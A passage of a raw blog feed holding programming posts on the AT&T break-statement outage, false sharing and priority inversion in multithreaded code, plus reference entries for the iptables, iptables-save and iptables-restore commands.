1990, the AT&amp;amp;T long distance telephone network crashed for  nine hours because of a software bug. It cost the company millions of  dollars. The mistake was the result of a misplaced break statement. The  code that was put inside a switch statement looked like the following  (from [2]):&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;network code()&lt;br /&gt;{&lt;br /&gt;switch (line) {&lt;br /&gt;case THING1:&lt;br /&gt;        doit1();&lt;br /&gt;        break;&lt;br /&gt;case THING2:&lt;br /&gt;         if (x == STUFF) {&lt;br /&gt;            do_first_stuff();&lt;br /&gt;            if (y == OTHER_STUFF)&lt;br /&gt;                 break;&lt;br /&gt;            do_later_stuff();&lt;br /&gt;          } /* coder meant to break to here... */&lt;br /&gt;          initialize_modes_pointer();&lt;br /&gt;          break;&lt;br /&gt;    default:&lt;br /&gt;         processing();&lt;br /&gt;    } /* ...but actually broke to here! */&lt;br /&gt;   use_modes_pointer();/* leaving the modes_pointer uninitialized */&lt;br /&gt;}&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;As you can see, the programmer has put a “&lt;code&gt;break;&lt;/code&gt;” after  the &lt;code&gt;if&lt;/code&gt; condition. He actually wanted to break it outside  the &lt;code&gt;if&lt;/code&gt; condition; but the control gets transferred to  outside the (enclosing) switch statement! We all know that it is not  possible to use “&lt;code&gt;break;&lt;/code&gt;” to come outside of an &lt;code&gt;if&lt;/code&gt;  block: this simple mistake resulted in a huge loss to AT&amp;amp;T.&lt;br /&gt;Programmers are usually surprised at how silly mistakes such as the  use of the wrong operator symbols, the wrong termination condition for a  loop, etc, can lead to serious software problems. True, while most such  mistakes will not cause any harm, some minor errors could sometimes  lead to major disasters.&lt;br /&gt;&lt;h3&gt;References&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www5.in.tum.de/%7Ehuckle/bugse.html"&gt;Collection of  Software Bugs&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Expert C Programming, Peter van der Linden, Prentice Hall PTR, 1994&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-5928635390661025032?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/5928635390661025032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/silly-programming-mistakes-serious-harm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5928635390661025032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5928635390661025032'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/silly-programming-mistakes-serious-harm.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7361760029505725644</id><published>2010-03-16T10:14:00.000-07:00</published><updated>2010-03-16T10:21:24.262-07:00</updated><title type='text'></title><content type='html'>&lt;h2 class="entry-title" style="color: red; font-weight: normal;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;&lt;i&gt;CodeSport&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;br /&gt;Assuming a cache line of size 64 bytes, we see that 16 elements of the  array num_tickets_per_thread can fit in the same cache line. Recall that  a processor updating the array element  num_tickets_per_thread[thread_id] ends up invalidating the other  processor’s cache copies because of their co-location in the same cache  line. Unlike true sharing where the same datum is accessed by multiple  threads, in this case, different threads access different data items.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Because of their co-location in the same cache line, the line gets  migrated across the different processor caches. This phenomenon is known  as false sharing. &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;b&gt;incrementTicketCounter()&lt;br /&gt;{&lt;br /&gt;    int thread_id = pthread_self();&lt;br /&gt;    num_tickets_per_thread[thread_id] ++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void PrintTotalTickets()&lt;br /&gt;{&lt;br /&gt;    //only the main thread calls this function, so no locking needed&lt;br /&gt;    for (int i = 0; i  &amp;lt; N; i++)&lt;br /&gt;        num_total_tickets += Num_tickets_per_thread[i];&lt;br /&gt;    printf ("%d", num_total_tickets);&lt;br /&gt;}&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;This results in an increased number of cache misses and will show up &lt;br /&gt;as an increase in the execution time of the application.&lt;br /&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;#define CACHE_LINE_SIZE 64 //we assume a 64 byte cache line size&lt;br /&gt;struct ticket&lt;br /&gt;{&lt;br /&gt;    int number;&lt;br /&gt;    int dummy_pad[CACHE_LINE_SIZE – sizeof(int)];&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct&amp;nbsp; ticket num_tickets_per_thread [N];&lt;br /&gt;//N is the number of threads in your application&lt;br /&gt;&lt;br /&gt;incrementTicketCounter()&lt;br /&gt;{&lt;br /&gt;    int thread_id = pthread_self();&lt;br /&gt;    num_tickets_per_thread[thread_id].number ++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void PrintTotalTickets()&lt;br /&gt;{&lt;br /&gt;    //only the main thread calls this function, so no locking needed&lt;br /&gt;    for (int i = 0; i&amp;nbsp; &amp;lt; N; i++)&lt;br /&gt;    num_total_tickets += num_tickets_per_thread[i].number;&lt;br /&gt;    printf (“%d”, num_total_tickets);&lt;br /&gt;}&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;As our readers correctly pointed out, in order to avoid false  sharing, each element of the array num_tickets_per_thread needs to be  placed on a separate cache line. The modified code given below does not  exhibit any false sharing. We add a pad of size 60 bytes (assuming a  cache line size of 64 bytes) around each element of the array so that  each element is located on a different cache line. Hence, updating of  one element of the array does not result in invalidating copies of any  other element present in caches of other processors.&lt;br /&gt;&lt;h2&gt;Issues to be aware of in lock-based programming&lt;/h2&gt;We’ll now look at some of the issues associated with multi-threaded  programming that arise due to the use of locks and how they can be  overcome. Locks are used to protect the access to shared resources in a  multi-threaded application.&amp;nbsp; While locks are needed to ensure a  consistent application state, they also bring forth certain issues. We  have already discussed a couple of these, namely deadlock and data  races. In today’s column, we will look at another potential problem  associated with locks, called priority inversion.&lt;br /&gt;Consider an application that has two threads–a higher priority thread  T1 and a lower priority thread T2. Both T1 and T2 need to update a  shared global counter that counts the number of operations performed in  the application. This shared global counter is protected by a lock, L1.  Now when the higher priority thread T1 is ready to run, it ends up  waiting for the lower priority thread T2, since T2 currently holds the  lock L1. Thus even if T1 has a higher priority than T2, T1 ends up  waiting for T2 to finish updating the counter and hence release the lock  L1, before it can run. Such a situation is known as priority inversion  since T1 has a higher priority than T2, but ends up waiting for T2  clearly resulting in a priority inversion. In an application with a  large number of threads, this situation can result in the higher  priority thread waiting for a long time on lower priority threads  because of access to common shared resources.&lt;br /&gt;&lt;h2&gt;A famous case of priority inversion&lt;/h2&gt;In many cases, priority inversion happens without the programmer  being aware of it and it does not have a major impact on systems  performance. But there have been cases where priority inversion has  caused poor response on performance, especially in realtime systems. A  famous case of priority inversion occurred in the software used in the  Mars Pathfinder mission in July 1997. The Pathfinder mission took  high-resolution colour pictures of the Martian surface and relayed them  back to Earth. When the software was employed on Mars, the programmers  back on earth were puzzled by the number of software resets that  occurred frequently, leading to poor systems performance. On  investigation, it was found that the issue was due to priority  inversion.&lt;br /&gt;In the Martian spacecraft, various devices communicated over a data  bus. Activity on this bus was managed by a pair of high-priority tasking  threads — BM1 and BM2. One of the bus manager tasks that BM1  communicated through a pipe was a low-priority meteorological science  task, MS1. The communication pipe was protected by a mutex L1. BM1 and  MS1 needed to acquire the mutex L1 before they could send data over the  pipe.&lt;br /&gt;The sequence of events leading to each reset began when the  low-priority task MS1 was pre-empted by a couple of medium-priority  tasks while it held the mutex L1. While the low-priority task MS1 was  pre-empted, the high-priority bus distribution manager thread, BM1,  tried to send more data to it over the same pipe. Because the mutex L1  was still held by MS1, the bus distribution manager was made to wait.  Shortly thereafter, the other bus scheduler thread BM2 became active. It  noticed that the distribution manager BM1 hadn’t completed its work for  that bus cycle and forced a system reset. VxWorks was the RTOS used on  Pathfinder and using the priority inversion workaround VxWorks had, NASA  engineers were able to solve the issue remotely. More details on the  priority inversion issue encountered in the Pathfinder mission, can be  found in David Wilner’s &lt;a href="http://www.research.microsoft.com/research/os/mbj/Mars_Pathfinder/Mars_Pathfinder.html"&gt;keynote  talk at the 1997 IEEE real-time symposium&lt;/a&gt;.&lt;br /&gt;&lt;h2&gt;Dealing with priority inversion&lt;/h2&gt;One way of dealing with priority inversion is to use a technique  known as priority inheritance. With priority inheritance being enforced  by the operating system, a lower priority task will inherit the task of  any other higher priority task that is waiting on a shared resource  currently owned by the lower priority task. Consider a simple example of  two tasks T1 and T2 with priorities P1 and P2, respectively, with P1  being higher than P2. Hence T1 is the higher priority task compared to  T2. Both access a shared resource protected by a mutex L1.&lt;br /&gt;Assume that T2 holds the mutex L1 currently. Now, if T1 becomes ready  and needs to wait for mutex L1, then T2’s priority is boosted to P1.  This is done so that T2 can finish quickly and release the mutex so that  the higher priority task T1 can then run. So T2 temporarily gets a  higher priority for a short time. Since T2 inherits the priority from  T1, this technique is known as priority inheritance. Priority change due  to priority inheritance takes place as soon as the high-priority task  begins to be pending; it ends when the resource is released by the lower  priority thread.&lt;br /&gt;Another technique to deal with priority inversion is known as  priority ceiling. Priority ceiling associates a priority with each  resource; the scheduler then transfers that priority to any task that  accesses the resource. The priority assigned to the resource is the  priority of its highest-priority user, plus one. Once a task finishes  with the resource, its priority returns to normal. Both priority  inversion and priority ceiling require operating system support. Linux  supports priority ceiling via PTHREAD_PRIO_PROTECT protocol and priority  inheritance via PTHREAD_PRIO_INHERIT protocol. For more details on  techniques to avoid priority inversion, read &lt;a class="broken_link" href="http://www-md.e-technik.uni-rostock.de/ma/gol/rtsys/articulos/YCS159.pdf"&gt;this&lt;/a&gt; paper.&lt;br /&gt;&lt;h2&gt;Takeaway problem for this month&lt;/h2&gt;This month’s takeaway problem comes from Nilesh Govande. Thank you  Nilesh, for sending in the question. Given a two-dimensional NXN array  of positive and negative integers, find the sub-rectangle with the  largest sum. The sum of a rectangle is the sum of all the elements in  that rectangle. In this problem, the sub-rectangle with the largest sum  is referred to as the maximal sub-rectangle. A sub-rectangle is any  contiguous sub-array of size 1X1 or greater, located within the whole  array. As an example, the maximal sub-rectangle of the aray:&lt;br /&gt;0&amp;nbsp;&amp;nbsp; &amp;nbsp;-2&amp;nbsp;&amp;nbsp; &amp;nbsp;-7&amp;nbsp; &amp;nbsp; &amp;nbsp;0  9&amp;nbsp;&amp;nbsp; &amp;nbsp; 2&amp;nbsp;&amp;nbsp; &amp;nbsp;-6&amp;nbsp;&amp;nbsp;  &amp;nbsp;2 -4&amp;nbsp;&amp;nbsp; &amp;nbsp; 1&amp;nbsp;&amp;nbsp; &amp;nbsp;-4&amp;nbsp;&amp;nbsp;  &amp;nbsp;1 -1&amp;nbsp;&amp;nbsp; &amp;nbsp; 8&amp;nbsp;&amp;nbsp; &amp;nbsp; 0&amp;nbsp;&amp;nbsp; &amp;nbsp;-2 …is in the lower-left-hand corner:&lt;br /&gt;9&amp;nbsp;&amp;nbsp; &amp;nbsp;2 -4&amp;nbsp;&amp;nbsp; &amp;nbsp;1 -1&amp;nbsp;&amp;nbsp; &amp;nbsp;8 …and has the sum of 15.&lt;br /&gt;If you have any favourite programming puzzles that you would like to  discuss on this forum, please send them to me. Feel free to send your  solutions and feedback to sandyasm_AT_yahoo_DOT_com. Till we meet again  next month, happy programming!&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7361760029505725644?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7361760029505725644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/codesport-assuming-cache-line-of-size.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7361760029505725644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7361760029505725644'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/codesport-assuming-cache-line-of-size.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-4611862599092142786</id><published>2010-03-15T11:04:00.000-07:00</published><updated>2010-03-15T22:12:32.850-07:00</updated><title type='text'></title><content type='html'>&lt;div id="commanddirectory"&gt;&lt;span style="color: red; font-size: x-large;"&gt;&lt;i&gt;&lt;refnamediv&gt; &lt;/refnamediv&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;&lt;span style="color: red; font-size: x-large;"&gt;&lt;i&gt;iptables-save&lt;/i&gt;&lt;/span&gt;&lt;/h2&gt;&lt;span style="color: red; font-size: x-large;"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt; &lt;refsynopsisdiv&gt;  &lt;br /&gt;System administration command. Print the IP firewall rules currently  stored in the kernel to stdout. Output may be redirected to a file that  can later be used by &lt;b&gt;iptables-restore&lt;/b&gt; to restore the firewall.&lt;/refsynopsisdiv&gt;&lt;br /&gt;&lt;refsynopsisdiv&gt;&lt;br /&gt;&lt;/refsynopsisdiv&gt; &lt;refsect1 id="linuxnut5-CHP-3-488"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;refsynopsisdiv&gt;&lt;/refsynopsisdiv&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;refsect1 id="linuxnut5-CHP-3-488"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Options&lt;/h3&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-c&lt;/b&gt;, &lt;b&gt;--counters&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Save packet and byte counter values.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-t&lt;/b&gt; &lt;i&gt;name&lt;/i&gt;, &lt;b&gt;--table&lt;/b&gt; &lt;i&gt;name&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Print data from the specified table only.&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-4611862599092142786?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/4611862599092142786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-save-system-administration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4611862599092142786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4611862599092142786'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-save-system-administration.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1653304365135822013</id><published>2010-03-15T11:00:00.000-07:00</published><updated>2010-03-15T22:13:22.374-07:00</updated><title type='text'></title><content type='html'>&lt;div id="commanddirectory"&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;refnamediv&gt; &lt;/refnamediv&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;h2&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;iptables-restore&lt;/span&gt;&lt;/i&gt;&lt;/h2&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;/span&gt;&lt;/i&gt; &lt;refsynopsisdiv&gt;  System administration command. Restore firewall rules from  information provided on standard input. &lt;b&gt;iptables-restore&lt;/b&gt; takes  commands generated by &lt;b&gt;iptables-save&lt;/b&gt; and uses them to restore the  firewall rules for each chain. &lt;/refsynopsisdiv&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;This is often used by initialization  scripts to restore firewall settings on boot.&lt;br /&gt;&lt;refsect1 id="linuxnut5-CHP-3-486"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Options&lt;/h3&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-c&lt;/b&gt;, &lt;b&gt;--counters&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Restore packet and byte counter values.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-n&lt;/b&gt;, &lt;b&gt;--noflush&lt;/b&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Don't delete previous table contents.&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1653304365135822013?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1653304365135822013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-restore-system-administration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1653304365135822013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1653304365135822013'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/iptables-restore-system-administration.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-256062864070285680</id><published>2010-03-15T10:56:00.001-07:00</published><updated>2010-03-15T22:14:16.763-07:00</updated><title type='text'></title><content type='html'>&lt;div id="commanddirectory"&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;refnamediv&gt; &lt;/refnamediv&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;h2&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;iptables&lt;/span&gt;&lt;/i&gt;&lt;/h2&gt;&lt;i style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;/span&gt;&lt;/i&gt; &lt;refsynopsisdiv&gt; &lt;br /&gt;System administration command. Configure &lt;i&gt;netfilter&lt;/i&gt;&lt;indexterm id="IDX-CHP-3-1656"&gt;&lt;/indexterm&gt; filtering rules for kernels 2.4 and  later. Rules for &lt;b&gt;iptables&lt;/b&gt; consist of some matching criteria and a  target, a result to be applied if the packet matches the criteria. The  rules are organized into chains. You can use these rules to build a  firewall, masquerade your local area network, or just reject certain  kinds of network connections.&lt;/refsynopsisdiv&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;There are three built-in tables for &lt;b&gt;iptables&lt;/b&gt;: one for network  filtering (&lt;b&gt;filter&lt;/b&gt;), one for Network Address Translation (&lt;b&gt;nat&lt;/b&gt;),  and the last for specialized packet alterations (&lt;b&gt;mangle&lt;/b&gt;).  Firewall rules are organized into chains, ordered checklists of rules  that the kernel works through looking for matches. The &lt;b&gt;filter&lt;/b&gt;  table has three built-in chains: &lt;b&gt;INPUT&lt;/b&gt;, &lt;b&gt;OUTPUT&lt;/b&gt;, and &lt;b&gt;FORWARD&lt;/b&gt;.  The &lt;b&gt;INPUT&lt;/b&gt; and &lt;b&gt;OUTPUT&lt;/b&gt; chains handle packets originating  from or destined for the host system. The &lt;b&gt;FORWARD&lt;/b&gt; chain handles  packets just passing through the host system. The &lt;b&gt;nat&lt;/b&gt; table also  has three built-in chains: &lt;b&gt;PREROUTING&lt;/b&gt;, &lt;b&gt;POSTROUTING&lt;/b&gt;, and &lt;b&gt;OUTPUT&lt;/b&gt;.  &lt;b&gt;mangle&lt;/b&gt; has only two chains: &lt;b&gt;PREROUTING&lt;/b&gt; and &lt;b&gt;OUTPUT&lt;/b&gt;.&lt;br /&gt;&lt;i&gt;netfilter&lt;/i&gt; checks packets entering the system. After applying  any &lt;b&gt;PREROUTING&lt;/b&gt; rules, it passes them to the &lt;b&gt;INPUT&lt;/b&gt; chain,  or to the &lt;b&gt;FORWARD&lt;/b&gt; chain if the packet is just passing through.  Upon leaving, the system packets are passed to the &lt;b&gt;OUTPUT&lt;/b&gt; chain  and then on to any &lt;b&gt;POSTROUTING&lt;/b&gt; rules. Each of these chains has a  default target (a policy) in case no match is found. User-defined chains  can also be created and used as targets for packets but do not have  default policies. If no match can be found in a user-defined chain, the  packet is returned to the chain from which it was called and tested  against the next rule in that chain.&lt;br /&gt;&lt;b&gt;iptables&lt;/b&gt; changes only the rules in the running kernel. When  the system is powered off, all changes are lost. You can use the &lt;b&gt;iptables-save&lt;/b&gt;  command to make a script you can run with &lt;b&gt;iptables-restore&lt;/b&gt; to  restore your firewall settings. Such a script is often called at bootup.  Many distributions have an &lt;b&gt;iptables&lt;/b&gt; initialization script that  uses the output from &lt;b&gt;iptables-save&lt;/b&gt;.&lt;br /&gt;&lt;refsect1 id="linuxnut5-CHP-3-478"&gt; &lt;/refsect1&gt;&lt;br /&gt;&lt;h3&gt;Commands&lt;/h3&gt;&lt;b&gt;iptables&lt;/b&gt; is almost always invoked with one of the following  commands&lt;indexterm id="IDX-CHP-3-1657"&gt;&lt;/indexterm&gt;:&lt;br /&gt;&lt;variablelist&gt; &lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-A&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;, &lt;b&gt;--append&lt;/b&gt;  &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;/variablelist&gt;&lt;br /&gt;&lt;blockquote&gt;Append new &lt;i&gt;rules&lt;/i&gt; to &lt;i&gt;chain&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-D&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;, &lt;b&gt;--delete&lt;/b&gt;  &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Delete &lt;i&gt;rules&lt;/i&gt; from &lt;i&gt;chain&lt;/i&gt;. Rules can be  specified by their ordinal number in the chain as well as by a general  rule description.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-E&lt;/b&gt; &lt;i&gt;old-chain&lt;/i&gt; &lt;i&gt;new-chain&lt;/i&gt;, &lt;b&gt;--rename-chain&lt;/b&gt;  &lt;i&gt;old-chain&lt;/i&gt; &lt;i&gt;new-chain&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Rename &lt;i&gt;old-chain&lt;/i&gt; to &lt;i&gt;new-chain&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-F&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;] , &lt;b&gt;--flush&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;]  &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Remove all rules from &lt;i&gt;chain&lt;/i&gt;, or from all chains  if &lt;i&gt;chain&lt;/i&gt; is not specified.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-I&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;number&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;,  &lt;b&gt;--insert&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;number&lt;/i&gt; &lt;i&gt;rules&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Insert &lt;i&gt;rules&lt;/i&gt; into &lt;i&gt;chain&lt;/i&gt; at the ordinal  position given by &lt;i&gt;number&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-L&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;] , &lt;b&gt;--list&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;]  &lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;List the rules in &lt;i&gt;chain&lt;/i&gt;, or all chains if &lt;i&gt;chain&lt;/i&gt;  is not specified.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-N&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt;, &lt;b&gt;--new-chain&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Create a new &lt;i&gt;chain&lt;/i&gt;. The chain's name must be  unique. This is how user-defined chains are created.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-P&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;target&lt;/i&gt;, &lt;b&gt;--policy&lt;/b&gt;  &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;target&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Set the default policy for a built-in &lt;i&gt;chain&lt;/i&gt;; the  target itself cannot be a chain.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-R&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;number&lt;/i&gt; &lt;i&gt;rule&lt;/i&gt;,  &lt;b&gt;--replace&lt;/b&gt; &lt;i&gt;chain&lt;/i&gt; &lt;i&gt;number&lt;/i&gt; &lt;i&gt;rule&lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Replace a rule in &lt;i&gt;chain&lt;/i&gt;. The rule to be replaced  is specified by its ordinal &lt;i&gt;number&lt;/i&gt;.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-X&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;] , &lt;b&gt;--delete-chain&lt;/b&gt; [&lt;i&gt;chain]  &lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Delete the specified user-defined &lt;i&gt;chain&lt;/i&gt;, or all  user-defined chains if &lt;i&gt;chain&lt;/i&gt; is not specified.&lt;/blockquote&gt;&lt;varlistentry&gt;&lt;term&gt;&lt;b&gt;-Z&lt;/b&gt; [&lt;i&gt;chain&lt;/i&gt;] , &lt;b&gt;--zero&lt;/b&gt; [&lt;i&gt;chain]  &lt;/i&gt;&lt;/term&gt; &lt;/varlistentry&gt;&lt;br /&gt;&lt;blockquote&gt;Zero the packet and byte counters in &lt;i&gt;chain&lt;/i&gt;. If  no chain is specified, all chains will be reset. When used without  specifying a chain and combined with the 